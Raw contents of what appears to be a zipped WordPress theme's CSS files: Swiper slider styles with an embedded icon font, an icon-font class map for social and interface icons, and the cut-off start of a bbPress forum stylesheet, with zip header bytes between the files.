@font-face{font-family:swiper-icons;src:url('data:application/font-woff;charset=utf-8;base64, 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');font-weight:400;font-style:normal}:root{--swiper-theme-color:#007aff}:host{position:relative;display:block;margin-left:auto;margin-right:auto;z-index:1}.swiper{margin-left:auto;margin-right:auto;position:relative;overflow:hidden;list-style:none;padding:0;z-index:1;display:block}.swiper-vertical>.swiper-wrapper{flex-direction:column}.swiper-wrapper{position:relative;width:100%;height:100%;z-index:1;display:flex;transition-property:transform;transition-timing-function:var(--swiper-wrapper-transition-timing-function,initial);box-sizing:content-box}.swiper-android .swiper-slide,.swiper-ios .swiper-slide,.swiper-wrapper{transform:translate3d(0px,0,0)}.swiper-horizontal{touch-action:pan-y}.swiper-vertical{touch-action:pan-x}.swiper-slide{flex-shrink:0;width:100%;height:100%;position:relative;transition-property:transform;display:block}.swiper-slide-invisible-blank{visibility:hidden}.swiper-autoheight,.swiper-autoheight .swiper-slide{height:auto}.swiper-autoheight .swiper-wrapper{align-items:flex-start;transition-property:transform,height}.swiper-backface-hidden .swiper-slide{transform:translateZ(0);-webkit-backface-visibility:hidden;backface-visibility:hidden}.swiper-3d.swiper-css-mode .swiper-wrapper{perspective:1200px}.swiper-3d .swiper-wrapper{transform-style:preserve-3d}.swiper-3d{perspective:1200px}.swiper-3d .swiper-cube-shadow,.swiper-3d .swiper-slide{transform-style:preserve-3d}.swiper-css-mode>.swiper-wrapper{overflow:auto;scrollbar-width:none;-ms-overflow-style:none}.swiper-css-mode>.swiper-wrapper::-webkit-scrollbar{display:none}.swiper-css-mode>.swiper-wrapper>.swiper-slide{scroll-snap-align:start start}.swiper-css-mode.swiper-horizontal>.swiper-wrapper{scroll-snap-type:x mandatory}.swiper-css-mode.swiper-vertical>.swiper-wrapper{scroll-snap-type:y mandatory}.swiper-css-mode.swiper-free-mode>.swiper-wrapper{scroll-snap-type:none}.swiper-css-mode.swiper-free-mode>.swiper-wrapper>.swiper-slide{scroll-snap-align:none}.swiper-css-mode.swiper-centered>.swiper-wrapper::before{content:'';flex-shrink:0;order:9999}.swiper-css-mode.swiper-centered>.swiper-wrapper>.swiper-slide{scroll-snap-align:center center;scroll-snap-stop:always}.swiper-css-mode.swiper-centered.swiper-horizontal>.swiper-wrapper>.swiper-slide:first-child{margin-inline-start:var(--swiper-centered-offset-before)}.swiper-css-mode.swiper-centered.swiper-horizontal>.swiper-wrapper::before{height:100%;min-height:1px;width:var(--swiper-centered-offset-after)}.swiper-css-mode.swiper-centered.swiper-vertical>.swiper-wrapper>.swiper-slide:first-child{margin-block-start:var(--swiper-centered-offset-before)}.swiper-css-mode.swiper-centered.swiper-vertical>.swiper-wrapper::before{width:100%;min-width:1px;height:var(--swiper-centered-offset-after)}.swiper-3d .swiper-slide-shadow,.swiper-3d .swiper-slide-shadow-bottom,.swiper-3d .swiper-slide-shadow-left,.swiper-3d .swiper-slide-shadow-right,.swiper-3d .swiper-slide-shadow-top{position:absolute;left:0;top:0;width:100%;height:100%;pointer-events:none;z-index:10}.swiper-3d .swiper-slide-shadow{background:rgba(0,0,0,.15)}.swiper-3d .swiper-slide-shadow-left{background-image:linear-gradient(to left,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-3d .swiper-slide-shadow-right{background-image:linear-gradient(to right,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-3d .swiper-slide-shadow-top{background-image:linear-gradient(to top,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-3d .swiper-slide-shadow-bottom{background-image:linear-gradient(to bottom,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-lazy-preloader{width:42px;height:42px;position:absolute;left:50%;top:50%;margin-left:-21px;margin-top:-21px;z-index:10;transform-origin:50%;box-sizing:border-box;border:4px solid var(--swiper-preloader-color,var(--swiper-theme-color));border-radius:50%;border-top-color:transparent}.swiper-watch-progress .swiper-slide-visible .swiper-lazy-preloader,.swiper:not(.swiper-watch-progress) .swiper-lazy-preloader{animation:swiper-preloader-spin 1s infinite linear}.swiper-lazy-preloader-white{--swiper-preloader-color:#fff}.swiper-lazy-preloader-black{--swiper-preloader-color:#000}@keyframes swiper-preloader-spin{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}.swiper-virtual .swiper-slide{-webkit-backface-visibility:hidden;transform:translateZ(0)}.swiper-virtual.swiper-css-mode .swiper-wrapper::after{content:'';position:absolute;left:0;top:0;pointer-events:none}.swiper-virtual.swiper-css-mode.swiper-horizontal .swiper-wrapper::after{height:1px;width:var(--swiper-virtual-size)}.swiper-virtual.swiper-css-mode.swiper-vertical .swiper-wrapper::after{width:1px;height:var(--swiper-virtual-size)}:root{--swiper-navigation-size:44px}.swiper-button-next,.swiper-button-prev{position:absolute;top:var(--swiper-navigation-top-offset,50%);width:calc(var(--swiper-navigation-size)/ 44 * 27);height:var(--swiper-navigation-size);margin-top:calc(0px - (var(--swiper-navigation-size)/ 2));z-index:10;cursor:pointer;display:flex;align-items:center;justify-content:center;color:var(--swiper-navigation-color,var(--swiper-theme-color))}.swiper-button-next.swiper-button-disabled,.swiper-button-prev.swiper-button-disabled{opacity:.35;cursor:auto;pointer-events:none}.swiper-button-next.swiper-button-hidden,.swiper-button-prev.swiper-button-hidden{opacity:0;cursor:auto;pointer-events:none}.swiper-navigation-disabled .swiper-button-next,.swiper-navigation-disabled .swiper-button-prev{display:none!important}.swiper-button-next svg,.swiper-button-prev svg{width:100%;height:100%;object-fit:contain;transform-origin:center}.swiper-rtl .swiper-button-next svg,.swiper-rtl .swiper-button-prev svg{transform:rotate(180deg)}.swiper-button-prev,.swiper-rtl .swiper-button-next{left:var(--swiper-navigation-sides-offset,10px);right:auto}.swiper-button-next,.swiper-rtl .swiper-button-prev{right:var(--swiper-navigation-sides-offset,10px);left:auto}.swiper-button-lock{display:none}.swiper-button-next:after,.swiper-button-prev:after{font-family:swiper-icons;font-size:var(--swiper-navigation-size);text-transform:none!important;letter-spacing:0;font-variant:initial;line-height:1}.swiper-button-prev:after,.swiper-rtl .swiper-button-next:after{content:'prev'}.swiper-button-next,.swiper-rtl .swiper-button-prev{right:var(--swiper-navigation-sides-offset,10px);left:auto}.swiper-button-next:after,.swiper-rtl .swiper-button-prev:after{content:'next'}.swiper-pagination{position:absolute;text-align:center;transition:.3s opacity;transform:translate3d(0,0,0);z-index:10}.swiper-pagination.swiper-pagination-hidden{opacity:0}.swiper-pagination-disabled>.swiper-pagination,.swiper-pagination.swiper-pagination-disabled{display:none!important}.swiper-horizontal>.swiper-pagination-bullets,.swiper-pagination-bullets.swiper-pagination-horizontal,.swiper-pagination-custom,.swiper-pagination-fraction{bottom:var(--swiper-pagination-bottom,8px);top:var(--swiper-pagination-top,auto);left:0;width:100%}.swiper-pagination-bullets-dynamic{overflow:hidden;font-size:0}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet{transform:scale(.33);position:relative}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active{transform:scale(1)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-main{transform:scale(1)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev{transform:scale(.66)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev-prev{transform:scale(.33)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next{transform:scale(.66)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next-next{transform:scale(.33)}.swiper-pagination-bullet{width:var(--swiper-pagination-bullet-width,var(--swiper-pagination-bullet-size,8px));height:var(--swiper-pagination-bullet-height,var(--swiper-pagination-bullet-size,8px));display:inline-block;border-radius:var(--swiper-pagination-bullet-border-radius,50%);background:var(--swiper-pagination-bullet-inactive-color,#000);opacity:var(--swiper-pagination-bullet-inactive-opacity, .2)}button.swiper-pagination-bullet{border:none;margin:0;padding:0;box-shadow:none;-webkit-appearance:none;appearance:none}.swiper-pagination-clickable .swiper-pagination-bullet{cursor:pointer}.swiper-pagination-bullet:only-child{display:none!important}.swiper-pagination-bullet-active{opacity:var(--swiper-pagination-bullet-opacity, 1);background:var(--swiper-pagination-color,var(--swiper-theme-color))}.swiper-pagination-vertical.swiper-pagination-bullets,.swiper-vertical>.swiper-pagination-bullets{right:var(--swiper-pagination-right,8px);left:var(--swiper-pagination-left,auto);top:50%;transform:translate3d(0px,-50%,0)}.swiper-pagination-vertical.swiper-pagination-bullets .swiper-pagination-bullet,.swiper-vertical>.swiper-pagination-bullets .swiper-pagination-bullet{margin:var(--swiper-pagination-bullet-vertical-gap,6px) 0;display:block}.swiper-pagination-vertical.swiper-pagination-bullets.swiper-pagination-bullets-dynamic,.swiper-vertical>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic{top:50%;transform:translateY(-50%);width:8px}.swiper-pagination-vertical.swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet,.swiper-vertical>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet{display:inline-block;transition:.2s transform,.2s top}.swiper-horizontal>.swiper-pagination-bullets .swiper-pagination-bullet,.swiper-pagination-horizontal.swiper-pagination-bullets .swiper-pagination-bullet{margin:0 var(--swiper-pagination-bullet-horizontal-gap,4px)}.swiper-horizontal>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic,.swiper-pagination-horizontal.swiper-pagination-bullets.swiper-pagination-bullets-dynamic{left:50%;transform:translateX(-50%);white-space:nowrap}.swiper-horizontal>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet,.swiper-pagination-horizontal.swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet{transition:.2s transform,.2s left}.swiper-horizontal.swiper-rtl>.swiper-pagination-bullets-dynamic .swiper-pagination-bullet{transition:.2s transform,.2s right}.swiper-pagination-fraction{color:var(--swiper-pagination-fraction-color,inherit)}.swiper-pagination-progressbar{background:var(--swiper-pagination-progressbar-bg-color,rgba(0,0,0,.25));position:absolute}.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:var(--swiper-pagination-color,var(--swiper-theme-color));position:absolute;left:0;top:0;width:100%;height:100%;transform:scale(0);transform-origin:left top}.swiper-rtl .swiper-pagination-progressbar .swiper-pagination-progressbar-fill{transform-origin:right top}.swiper-horizontal>.swiper-pagination-progressbar,.swiper-pagination-progressbar.swiper-pagination-horizontal,.swiper-pagination-progressbar.swiper-pagination-vertical.swiper-pagination-progressbar-opposite,.swiper-vertical>.swiper-pagination-progressbar.swiper-pagination-progressbar-opposite{width:100%;height:var(--swiper-pagination-progressbar-size,4px);left:0;top:0}.swiper-horizontal>.swiper-pagination-progressbar.swiper-pagination-progressbar-opposite,.swiper-pagination-progressbar.swiper-pagination-horizontal.swiper-pagination-progressbar-opposite,.swiper-pagination-progressbar.swiper-pagination-vertical,.swiper-vertical>.swiper-pagination-progressbar{width:var(--swiper-pagination-progressbar-size,4px);height:100%;left:0;top:0}.swiper-pagination-lock{display:none}.swiper-scrollbar{border-radius:var(--swiper-scrollbar-border-radius,10px);position:relative;touch-action:none;background:var(--swiper-scrollbar-bg-color,rgba(0,0,0,.1))}.swiper-scrollbar-disabled>.swiper-scrollbar,.swiper-scrollbar.swiper-scrollbar-disabled{display:none!important}.swiper-horizontal>.swiper-scrollbar,.swiper-scrollbar.swiper-scrollbar-horizontal{position:absolute;left:var(--swiper-scrollbar-sides-offset,1%);bottom:var(--swiper-scrollbar-bottom,4px);top:var(--swiper-scrollbar-top,auto);z-index:50;height:var(--swiper-scrollbar-size,4px);width:calc(100% - 2 * var(--swiper-scrollbar-sides-offset,1%))}.swiper-scrollbar.swiper-scrollbar-vertical,.swiper-vertical>.swiper-scrollbar{position:absolute;left:var(--swiper-scrollbar-left,auto);right:var(--swiper-scrollbar-right,4px);top:var(--swiper-scrollbar-sides-offset,1%);z-index:50;width:var(--swiper-scrollbar-size,4px);height:calc(100% - 2 * var(--swiper-scrollbar-sides-offset,1%))}.swiper-scrollbar-drag{height:100%;width:100%;position:relative;background:var(--swiper-scrollbar-drag-bg-color,rgba(0,0,0,.5));border-radius:var(--swiper-scrollbar-border-radius,10px);left:0;top:0}.swiper-scrollbar-cursor-drag{cursor:move}.swiper-scrollbar-lock{display:none}.swiper-zoom-container{width:100%;height:100%;display:flex;justify-content:center;align-items:center;text-align:center}.swiper-zoom-container>canvas,.swiper-zoom-container>img,.swiper-zoom-container>svg{max-width:100%;max-height:100%;object-fit:contain}.swiper-slide-zoomed{cursor:move;touch-action:none}.swiper .swiper-notification{position:absolute;left:0;top:0;pointer-events:none;opacity:0;z-index:-1000}.swiper-free-mode>.swiper-wrapper{transition-timing-function:ease-out;margin:0 auto}.swiper-grid>.swiper-wrapper{flex-wrap:wrap}.swiper-grid-column>.swiper-wrapper{flex-wrap:wrap;flex-direction:column}.swiper-fade.swiper-free-mode .swiper-slide{transition-timing-function:ease-out}.swiper-fade .swiper-slide{pointer-events:none;transition-property:opacity}.swiper-fade .swiper-slide .swiper-slide{pointer-events:none}.swiper-fade .swiper-slide-active{pointer-events:auto}.swiper-fade .swiper-slide-active .swiper-slide-active{pointer-events:auto}.swiper-cube{overflow:visible}.swiper-cube .swiper-slide{pointer-events:none;-webkit-backface-visibility:hidden;backface-visibility:hidden;z-index:1;visibility:hidden;transform-origin:0 0;width:100%;height:100%}.swiper-cube .swiper-slide .swiper-slide{pointer-events:none}.swiper-cube.swiper-rtl .swiper-slide{transform-origin:100% 0}.swiper-cube .swiper-slide-active,.swiper-cube .swiper-slide-active .swiper-slide-active{pointer-events:auto}.swiper-cube .swiper-slide-active,.swiper-cube .swiper-slide-next,.swiper-cube .swiper-slide-prev{pointer-events:auto;visibility:visible}.swiper-cube .swiper-cube-shadow{position:absolute;left:0;bottom:0px;width:100%;height:100%;opacity:.6;z-index:0}.swiper-cube .swiper-cube-shadow:before{content:'';background:#000;position:absolute;left:0;top:0;bottom:0;right:0;filter:blur(50px)}.swiper-cube .swiper-slide-next+.swiper-slide{pointer-events:auto;visibility:visible}.swiper-cube .swiper-slide-shadow-cube.swiper-slide-shadow-bottom,.swiper-cube .swiper-slide-shadow-cube.swiper-slide-shadow-left,.swiper-cube .swiper-slide-shadow-cube.swiper-slide-shadow-right,.swiper-cube .swiper-slide-shadow-cube.swiper-slide-shadow-top{z-index:0;-webkit-backface-visibility:hidden;backface-visibility:hidden}.swiper-flip{overflow:visible}.swiper-flip .swiper-slide{pointer-events:none;-webkit-backface-visibility:hidden;backface-visibility:hidden;z-index:1}.swiper-flip .swiper-slide .swiper-slide{pointer-events:none}.swiper-flip .swiper-slide-active,.swiper-flip .swiper-slide-active .swiper-slide-active{pointer-events:auto}.swiper-flip .swiper-slide-shadow-flip.swiper-slide-shadow-bottom,.swiper-flip .swiper-slide-shadow-flip.swiper-slide-shadow-left,.swiper-flip .swiper-slide-shadow-flip.swiper-slide-shadow-right,.swiper-flip .swiper-slide-shadow-flip.swiper-slide-shadow-top{z-index:0;-webkit-backface-visibility:hidden;backface-visibility:hidden}.swiper-creative .swiper-slide{-webkit-backface-visibility:hidden;backface-visibility:hidden;overflow:hidden;transition-property:transform,opacity,height}.swiper-cards{overflow:visible}.swiper-cards .swiper-slide{transform-origin:center bottom;-webkit-backface-visibility:hidden;backface-visibility:hidden;overflow:hidden}PK     N\㋒        css/penci-icon-unmin.cssnu [        @font-face {
  font-family: "penciicon";
  font-display: swap;
  src: url("../fonts/penciicon.ttf?v=1.2") format("truetype"),
    url("../fonts/penciicon.woff?v=1.2") format("woff"),
    url("../fonts/penciicon.woff2?v=1.2") format("woff2"),
    url("../fonts/penciicon.eot?v=1.2#iefix") format("embedded-opentype"),
    url("../fonts/penciicon.svg?v=1.2#penciicon") format("svg");
}
i[class^="penciicon-"],
i[class*=" penciicon-"] {
  display: inline-block;
  font-family: penciicon !important;
  font-style: normal;
  font-weight: normal !important;
  font-variant: normal;
  text-transform: none;
  line-height: 1;
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
}
.penciicon-left-quote:before {
  content: "\f101";
}
.penciicon-messenger:before {
  content: "\f102";
}
.penciicon-goodreads:before {
  content: "\f103";
}
.penciicon-viber:before {
  content: "\f104";
}
.penciicon-discord:before {
  content: "\f105";
}
.penciicon-tik-tok:before {
  content: "\f106";
}
.penciicon-line:before {
  content: "\f107";
}
.penciicon-magnifiying-glass:before {
  content: "\f108";
}
.penciicon-heart:before {
  content: "\f109";
}
.penciicon-shuffle:before {
  content: "\f10a";
}
.penciicon-shopping-bag:before {
  content: "\f10b";
}
.penciicon-shopping-cart:before {
  content: "\f10c";
}
.penciicon-share:before {
  content: "\f10d";
}
.penciicon-sharing:before {
  content: "\f10e";
}
.penciicon-user:before {
  content: "\f10f";
}
.penciicon-close-button:before {
  content: "\f110";
}
.penciicon-check-symbol:before {
  content: "\f111";
}
.penciicon-expand:before {
  content: "\f112";
}
.penciicon-avatar:before {
  content: "\f113";
}
.penciicon-search:before {
  content: "\f114";
}
.penciicon-ruler:before {
  content: "\f115";
}
.penciicon-moon:before {
  content: "\f116";
}
.penciicon-sun:before {
  content: "\f117";
}
.penciicon-shopping-cart-1:before {
  content: "\f118";
}
.penciicon-shopping-cart-2:before {
  content: "\f119";
}
.penciicon-right-chevron:before {
  content: "\f11a";
}
.penciicon-left-chevron:before {
  content: "\f11b";
}
.penciicon-down-chevron:before {
  content: "\f11c";
}
.penciicon-up-chevron:before {
  content: "\f11d";
}
.penciicon-exchange:before {
  content: "\f11e";
}
.penciicon-down-arrow:before {
  content: "\f11f";
}
.penciicon-left-arrow:before {
  content: "\f120";
}
.penciicon-exchange-1:before {
  content: "\f121";
}
.penciicon-right-chevron-1:before {
  content: "\f122";
}
.penciicon-down-chevron-1:before {
  content: "\f123";
}
.penciicon-left-chevron-1:before {
  content: "\f124";
}
.penciicon-up-chevron-1:before {
  content: "\f125";
}
.penciicon-undo:before {
  content: "\f126";
}
.penciicon-free-delivery:before {
  content: "\f127";
}
.penciicon-facebook:before {
  content: "\f128";
}
.penciicon-twitter:before {
  content: "\f129";
}
.penciicon-instagram:before {
  content: "\f12a";
}
.penciicon-pinterest:before {
  content: "\f12b";
}
.penciicon-linkedin:before {
  content: "\f12c";
}
.penciicon-flickr:before {
  content: "\f12d";
}
.penciicon-behance:before {
  content: "\f12e";
}
.penciicon-tumblr:before {
  content: "\f12f";
}
.penciicon-youtube:before {
  content: "\f130";
}
.penciicon-email:before {
  content: "\f131";
}
.penciicon-vk:before {
  content: "\f132";
}
.penciicon-vine:before {
  content: "\f133";
}
.penciicon-soundcloud:before {
  content: "\f134";
}
.penciicon-snapchat:before {
  content: "\f135";
}
.penciicon-spotify:before {
  content: "\f136";
}
.penciicon-github:before {
  content: "\f137";
}
.penciicon-stack-overflow:before {
  content: "\f138";
}
.penciicon-twitch:before {
  content: "\f139";
}
.penciicon-steam:before {
  content: "\f13a";
}
.penciicon-vimeo:before {
  content: "\f13b";
}
.penciicon-xing:before {
  content: "\f13c";
}
.penciicon-whatsapp:before {
  content: "\f13d";
}
.penciicon-telegram:before {
  content: "\f13e";
}
.penciicon-reddit:before {
  content: "\f13f";
}
.penciicon-odnoklassniki:before {
  content: "\f140";
}
.penciicon-500px-monogram:before {
  content: "\f141";
}
.penciicon-stumbleupon:before {
  content: "\f142";
}
.penciicon-wechat:before {
  content: "\f143";
}
.penciicon-sina-weibo:before {
  content: "\f144";
}
.penciicon-line-1:before {
  content: "\f145";
}
.penciicon-viber-1:before {
  content: "\f146";
}
.penciicon-discord-1:before {
  content: "\f147";
}
.penciicon-rss:before {
  content: "\f148";
}
.penciicon-slack:before {
  content: "\f149";
}
.penciicon-slack-1:before {
  content: "\f14a";
}
.penciicon-tripadvisor:before {
  content: "\f14b";
}
.penciicon-tik-tok-1:before {
  content: "\f14c";
}
.penciicon-letter-d:before {
  content: "\f14d";
}
.penciicon-d:before {
  content: "\f14e";
}
.penciicon-blogger:before {
  content: "\f14f";
}
.penciicon-blogger-1:before {
  content: "\f150";
}
.penciicon-delicious:before {
  content: "\f151";
}
.penciicon-deviantart:before {
  content: "\f152";
}
.penciicon-digg:before {
  content: "\f153";
}
.penciicon-dribbble:before {
  content: "\f154";
}
.penciicon-ebay:before {
  content: "\f155";
}
.penciicon-ebay-1:before {
  content: "\f156";
}
.penciicon-evernote:before {
  content: "\f157";
}
.penciicon-evernote-1:before {
  content: "\f158";
}
.penciicon-flipboard:before {
  content: "\f159";
}
.penciicon-forrst:before {
  content: "\f15a";
}
.penciicon-forrst-1:before {
  content: "\f15b";
}
.penciicon-grooveshark:before {
  content: "\f15c";
}
.penciicon-grooveshark-1:before {
  content: "\f15d";
}
.penciicon-lastfm:before {
  content: "\f15e";
}
.penciicon-myspace:before {
  content: "\f15f";
}
.penciicon-myspace-logo:before {
  content: "\f160";
}
.penciicon-brand:before {
  content: "\f161";
}
.penciicon-skype:before {
  content: "\f162";
}
.penciicon-windows:before {
  content: "\f163";
}
.penciicon-yahoo-logo:before {
  content: "\f164";
}
.penciicon-yahoo:before {
  content: "\f165";
}
.penciicon-y:before {
  content: "\f166";
}
.penciicon-right-quotation-sign:before {
  content: "\f167";
}
.penciicon-deviantart-1:before {
  content: "\f168";
}
.penciicon-transfer:before {
  content: "\f169";
}
.penciicon-right-and-left:before {
  content: "\f16a";
}
.penciicon-exchange-2:before {
  content: "\f16b";
}
.penciicon-shopping-cart-3:before {
  content: "\f16c";
}
.penciicon-shop:before {
  content: "\f16d";
}
.penciicon-home:before {
  content: "\f16e";
}
.penciicon-user-1:before {
  content: "\f16f";
}
.penciicon-gallery:before {
  content: "\f170";
}
.penciicon-megaphone:before {
  content: "\f171";
}
.penciicon-news:before {
  content: "\f172";
}
.penciicon-newspaper:before {
  content: "\f173";
}
.penciicon-add:before {
  content: "\f174";
}
.penciicon-calculation-operations-minus-sign:before {
  content: "\f175";
}
.penciicon-x-twitter:before {
  content: "\f176";
}
.penciicon-threads:before {
  content: "\f177";
}
.penciicon-butterfly:before {
  content: "\f178";
}
.penciicon-square:before {
  content: "\f179";
}
.penci-faicon.penciicon-line,
.penci-faicon.penciicon-viber,
.penci-faicon.penciicon-x-twitter {
  transform: translateY(2px);
}
.pcsoc-icon.pcsoci-twitter .penci-faicon.penciicon-x-twitter,
.penci-builder-element .penci-faicon.penciicon-x-twitter,
#header .inner-header-social .penci-faicon.penciicon-x-twitter,
.pcnew-share.penci-icon-full .post-share-item .penci-faicon.penciicon-x-twitter,
.show-txt.focus-icon .post-share-item .penci-faicon.penciicon-x-twitter,
.penci-social-colored .penci-faicon.penciicon-x-twitter,
.penci-social-colored .penci-faicon.penciicon-viber,
.penci-social-colored .penci-faicon.penciicon-line,
.penci-social-square .penci-faicon.penciicon-x-twitter,
.penci-social-square .penci-faicon.penciicon-viber,
.penci-social-square .penci-faicon.penciicon-line,
.footer-socials .penci-faicon.penciicon-line,
.footer-socials .penci-faicon.penciicon-viber,
.footer-socials .penci-faicon.penciicon-x-twitter,
.single-product-share .new-ver-share .penci-faicon.penciicon-line,
.single-product-share .new-ver-share .penci-faicon.penciicon-viber,
.single-product-share .new-ver-share .penci-faicon.penciicon-x-twitter {
    transform: translateY(0)
}

.widget-social.penci-social-colored .penci-faicon.penciicon-x-twitter,
.single-post-share.tags-share-box-s1 .penci-faicon.penciicon-x-twitter,
.single-post-share.tags-share-box-s1 .penci-faicon.penciicon-viber,
.single-post-share.tags-share-box-s1 .penci-faicon.penciicon-line {
    transform: translateY(2px)
}PK     N\˫.k  k    css/buddypress-bbpress.min.cssnu [        .forum-archive .penci-content-post{padding:20px;background:#fff}.forum-archive .penci-entry-title{font-size:30px;line-height:1.2;color:#111;margin-top:9px;margin-bottom:6px}.forum-archive .penci-entry-title.penci-title-center{text-align:center}.forum-archive .penci-entry-title.penci-title-right{text-align:right}#sidebar .bbp-login-form label{width:120px}#bbpress-forums{font-size:15px}#bbpress-forums ul.bbp-forums,#bbpress-forums ul.bbp-lead-topic,#bbpress-forums ul.bbp-replies,#bbpress-forums ul.bbp-search-results,#bbpress-forums ul.bbp-topics{border:0}#bbpress-forums .subscription-toggle,#bbpress-forums li:before,#bbpress-forums ul.bbp-forums .forum-titles li:before{display:none}#bbpress-forums li ul.forum,#bbpress-forums li.bbp-body div.odd,#bbpress-forums li.bbp-body ul.odd,#bbpress-forums li.bbp-footer,#bbpress-forums li.bbp-header{background:0 0}#bbpress-forums li.bbp-header{background:#313131;color:#fff;border-top:0;padding:7px 15px}#bbpress-forums li.bbp-header .bbp-reply-author,#bbpress-forums li.bbp-header .bbp-reply-content,#bbpress-forums li.bbp-header ul.forum-titles li{font-size:14px}#bbpress-forums li.bbp-body{margin-top:20px}#bbpress-forums li.bbp-body ul.forum,#bbpress-forums li.bbp-body ul.topic{border-top-color:#ececec;padding:20px 0 27px;background:0 0}#bbpress-forums li.bbp-body ul.forum li.bbp-forum-info a,#bbpress-forums li.bbp-body ul.topic li.bbp-topic-title a{font-size:14px;color:#111}#bbpress-forums li.bbp-body ul.forum li.bbp-forum-info a.bbp-forum-title,#bbpress-forums li.bbp-body ul.topic li.bbp-topic-title a.bbp-forum-title{font-size:16px;font-weight:700}#bbpress-forums .bbp-breadcrumb a:hover,#bbpress-forums li.bbp-body ul.forum li.bbp-forum-info a:hover,#bbpress-forums li.bbp-body ul.topic li.bbp-topic-title a:hover{text-decoration:none;color:var(--pcaccent-cl)}#bbpress-forums li.bbp-body .bbp-forums-list li{color:#fff;display:block}#bbpress-forums li.bbp-body ul.forum li.bbp-forum-info .bbp-forum-content,#bbpress-forums li.bbp-body ul.topic 